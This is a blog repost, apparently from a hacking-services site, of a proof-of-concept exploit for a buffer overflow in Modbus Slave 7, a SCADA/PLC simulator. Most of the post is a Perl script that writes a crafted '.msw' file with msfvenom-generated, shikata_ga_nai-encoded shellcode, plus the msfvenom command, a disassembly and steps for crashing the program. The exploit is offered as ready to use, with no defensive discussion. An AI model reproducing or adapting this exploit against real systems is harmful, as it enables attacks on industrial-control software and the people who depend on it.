Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86378397

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Modbus Slave PLC 7 - '.msw' Buffer Overflow (PoC)
# Author: Kağan Çapar
# Discovery Date: 2018-10-27
# Software Link: https://www.modbustools.com/download/ModbusSlaveSetup32Bit.exe
# Vendor Homepage : https://www.modbustools.com
# Tested Version: 7
# Tested on OS: Windows XP SP3 *ENG
# other version should be affected
# About software : Modbus Slave is for simulating up to 32 slave devices in 32 windows!. 
# Speed up your PLC programming with this simulating tools.  Used for SCADA systems.
# Modbus is a serial communications protocol originally published by Schneider Electric
# Steps to Reproduce: Run the perl exploit script, it will create a new
# file with the name "exploit.msw" and Drag on to "mbslave.exe"
# you will see a loop and crash on software
# Greetz : cwd-onkan-badko-key-akkus

# ! /usr/bin/perl

# Dump of assembler code for function loop:
# 0x0000555555558030 <+0>:	mov    $0x1e3b563c,%ebx
# 0x0000555555558035 <+5>:	fld    %st(4)
# 0x0000555555558037 <+7>:	fnstenv -0xc(%rsp)
# 0x000055555555803b <+11>:	pop    %rax
# 0x000055555555803c <+12>:	sub    %ecx,%ecx
# 0x000055555555803e <+14>:	mov    $0x1,%cl
# 0x0000555555558040 <+16>:	xor    %ebx,0x14(%rax)
# 0x0000555555558043 <+19>:	add    $0x4,%eax
# 0x0000555555558046 <+22>:	add    0x10(%rax),%ebx
# 0x0000555555558049 <+25>:	fisubs 0xe0d0(%rbx)

# msfvenom -p generic/tight_loop --platform windows_86 -f perl -e x86/shikata_ga_nai
# print /x &loop
# $1 = 0x555555558030

open(code, ">exploit.msw");
binmode(code);
$loop = 
"\xbb\x3c\x56\x3b\x1e\xd9\xc4\xd9\x74\x24\xf4\x58\x2b\xc9" .
"\xb1\x01\x31\x58\x14\x83\xc0\x04\x03\x58\x10\xde\xa3\xd0" .
"\xe0";

print code $loop;
close(code);